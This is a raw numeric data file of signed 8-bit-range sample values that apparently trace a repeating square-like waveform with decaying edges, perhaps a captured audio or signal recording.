+-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-113 +-104 +-97 +-88 +-81 +-74 +-69 +-62 +-58 +-53 +-48 +-42 +-38 +-34 +-31 +-27 +-24 +-22 +-20 +-17 +-14 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-22 +-19 +-17 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +90 +84 +78 +74 +69 +66 +62 +59 +54 +51 +48 +45 +41 +39 +37 +35 +33 +32 +30 +28 +27 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-49 +-44 +-40 +-35 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-75 +-68 +-63 +-59 +-53 +-48 +-42 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +-10 +-9 +-9 +-6 +-4 +-2 +-1 +0 +1 +2 +2 +3 +4 +6 +5 +6 +6 +7 +6 +6 +7 +10 +10 +10 +10 +11 +11 +11 +11 +13 +12 +12 +12 +13 +11 +11 +12 +14 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +13 +13 +13 +14 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +13 +13 +14 +15 +14 +15 +15 +15 +14 +14 +14 +15 +14 +14 +14 +14 +12 +13 +14 +15 +14 +15 +15 +15 +14 +14 +15 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +102 +96 +89 +83 +77 +73 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +38 +36 +33 +32 +31 +29 +27 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +109 +101 +94 +88 +83 +77 +72 +68 +64 +60 +56 +53 +51 +48 +45 +42 +40 +37 +36 +33 +32 +30 +29 +27 +26 +25 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-101 +-93 +-84 +-77 +-70 +-65 +-59 +-53 +-47 +-43 +-39 +-36 +-33 +-30 +-27 +-24 +-20 +-18 +-16 +-14 +-11 +-11 +-9 +-7 +-4 +-2 +0 +1 +2 +1 +3 +3 +4 +4 +5 +5 +6 +5 +6 +7 +8 +9 +9 +10 +10 +10 +10 +11 +12 +11 +12 +12 +13 +11 +11 +11 +13 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +13 +14 +13 +13 +13 +14 +15 +15 +14 +15 +14 +14 +14 +14 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +102 +96 +89 +84 +79 +74 +69 +66 +61 +57 +53 +50 +46 +44 +41 +39 +36 +35 +34 +32 +30 +29 +28 +26 +25 +24 +23 +22 +20 +20 +19 +18 +17 +17 +16 +16 +15 +15 +14 +14 +13 +14 +13 +13 +12 +13 +12 +12 +11 +12 +11 +11 +10 +11 +10 +10 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-102 +-94 +-86 +-79 +-72 +-68 +-61 +-55 +-50 +-45 +-40 +-36 +-33 +-30 +-26 +-24 +-21 +-19 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +79 +-19 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-38 +-34 +-32 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +-11 +-10 +-9 +-6 +-5 +-3 +-2 +0 +1 +1 +2 +4 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +11 +11 +10 +11 +12 +12 +11 +12 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-98 +-90 +-84 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-38 +-34 +-30 +-28 +-26 +-22 +-19 +-17 +-16 +-13 +-11 +-10 +-9 +-7 +-5 +-3 +-2 +1 +1 +1 +2 +4 +4 +5 +5 +7 +6 +7 +6 +7 +8 +9 +10 +11 +10 +10 +11 +12 +11 +12 +12 +13 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +103 +97 +90 +85 +79 +74 +69 +66 +61 +57 +54 +52 +48 +45 +43 +41 +39 +37 +34 +33 +31 +30 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-77 +-71 +-66 +-61 +-55 +-48 +-44 +-40 +-36 +-32 +-29 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +104 +98 +91 +85 +79 +75 +70 +66 +61 +58 +55 +52 +49 +47 +43 +40 +38 +36 +33 +32 +30 +29 +27 +27 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-99 +-91 +-84 +-77 +-71 +-65 +-60 +-54 +-49 +-44 +-40 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-14 +-11 +-11 +-9 +-7 +-4 +-3 +-2 +-1 +1 +1 +2 +3 +4 +5 +5 +6 +7 +6 +7 +8 +9 +10 +11 +10 +10 +11 +11 +11 +11 +11 +12 +12 +13 +11 +11 +12 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +14 +13 +14 +12 +12 +13 +14 +14 +14 +14 +14 +14 +14 +13 +14 +14 +14 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-90 +-83 +-75 +-69 +-64 +-59 +-53 +-48 +-44 +-39 +-35 +-31 +-28 +-25 +-23 +-19 +-17 +-15 +-13 +-10 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +11 +11 +10 +11 +11 +11 +11 +12 +12 +12 +11 +12 +12 +13 +13 +14 +14 +13 +13 +14 +14 +14 +14 +14 +14 +14 +12 +13 +14 +14 +14 +14 +14 +15 +13 +14 +14 +15 +14 +14 +14 +15 +13 +13 +13 +15 +15 +15 +14 +14 +14 +14 +14 +15 +15 +15 +14 +15 +14 +13 +13 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +102 +96 +89 +83 +77 +73 +68 +64 +60 +57 +54 +51 +47 +45 +42 +40 +37 +35 +34 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +101 +95 +89 +83 +77 +73 +68 +64 +60 +57 +53 +50 +47 +45 +42 +39 +37 +36 +33 +31 +30 +29 +27 +26 +24 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +111 +103 +96 +90 +85 +79 +74 +69 +65 +61 +58 +54 +51 +48 +46 +43 +40 +37 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +96 +89 +83 +78 +73 +68 +64 +60 +57 +53 +50 +47 +45 +41 +39 +37 +36 +33 +31 +30 +29 +27 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-100 +-92 +-85 +-78 +-72 +-67 +-61 +-55 +-49 +-45 +-40 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-13 +-11 +-11 +-9 +-7 +-4 +-3 +-2 +-1 +1 +1 +2 +3 +5 +5 +6 +6 +7 +6 +7 +7 +9 +9 +10 +9 +10 +10 +11 +10 +11 +11 +12 +11 +11 +11 +11 +11 +12 +13 +13 +12 +13 +13 +13 +13 +13 +14 +14 +13 +13 +13 +13 +13 +14 +14 +15 +14 +14 +14 +14 +14 +14 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +79 +75 +69 +65 +61 +58 +54 +51 +47 +46 +43 +40 +37 +36 +34 +32 +30 +29 +28 +26 +24 +24 +23 +22 +20 +20 +19 +18 +17 +17 +16 +16 +15 +15 +14 +14 +14 +14 +13 +13 +13 +13 +13 +13 +12 +12 +11 +11 +10 +10 +11 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-102 +-93 +-85 +-78 +-72 +-67 +-61 +-55 +-49 +-45 +-41 +-37 +-32 +-29 +-25 +-22 +-20 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-82 +-76 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-25 +-22 +-21 +-18 +-15 +-13 +-12 +-10 +-9 +-7 +-5 +-3 +-2 +0 +1 +1 +2 +4 +4 +5 +5 +7 +7 +7 +6 +7 +9 +10 +10 +11 +11 +11 +10 +11 +12 +12 +12 +12 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-82 +-75 +-70 +-64 +-60 +-54 +-49 +-44 +-39 +-35 +-31 +-28 +-26 +-23 +-19 +-16 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +79 +-19 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-74 +-68 +-63 +-59 +-53 +-47 +-42 +-38 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +-14 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +95 +88 +83 +78 +74 +68 +64 +60 +57 +54 +52 +49 +46 +43 +41 +38 +36 +33 +33 +30 +29 +28 +27 +25 +24 +23 +23 +22 +21 +19 +19 +19 +18 +16 +16 +15 +15 +14 +14 +13 +13 +13 +13 +12 +12 +12 +13 +12 +12 +11 +11 +11 +11 +11 +11 +10 +10 +10 +10 +10 +10 +9 +10 +10 +10 +9 +9 +9 +9 +8 +9 +9 +10 +10 +9 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +8 +8 +9 +9 +8 +8 +10 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +10 +10 +10 +9 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +9 +9 +9 +8 +9 +8 +9 +8 +8 +8 +9 +8 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +10 +10 +9 +8 +9 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +10 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +10 +10 +10 +-68 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-93 +-86 +-78 +-71 +-67 +-61 +-56 +-49 +-44 +-40 +-37 +-33 +-29 +-27 +-24 +-21 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-98 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +-11 +-10 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +4 +4 +5 +5 +7 +7 +7 +6 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +12 +13 +12 +12 +12 +14 +14 +14 +13 +14 +14 +14 +14 +14 +14 +15 +14 +13 +13 +13 +13 +14 +15 +15 +14 +14 +14 +14 +14 +14 +15 +15 +14 +14 +13 +13 +13 +15 +15 +15 +14 +15 +14 +14 +14 +14 +15 +15 +14 +14 +13 +14 +13 +14 +14 +15 +16 +15 +14 +15 +15 +15 +14 +15 +14 +14 +13 +13 +13 +14 +14 +15 +14 +14 +14 +15 +14 +14 +15 +14 +14 +15 +14 +13 +13 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-90 +-82 +-75 +-68 +-62 +-58 +-53 +-48 +-42 +-39 +-35 +-31 +-28 +-24 +-21 +-18 +-16 +-14 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-113 +-104 +-96 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-42 +-38 +-35 +-31 +-27 +-25 +-22 +-20 +-16 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +83 +78 +74 +68 +65 +61 +58 +53 +50 +47 +45 +42 +39 +37 +36 +34 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-85 +-77 +-71 +-66 +-60 +-54 +-49 +-44 +-40 +-35 +-32 +-30 +-26 +-23 +-20 +-19 +-16 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 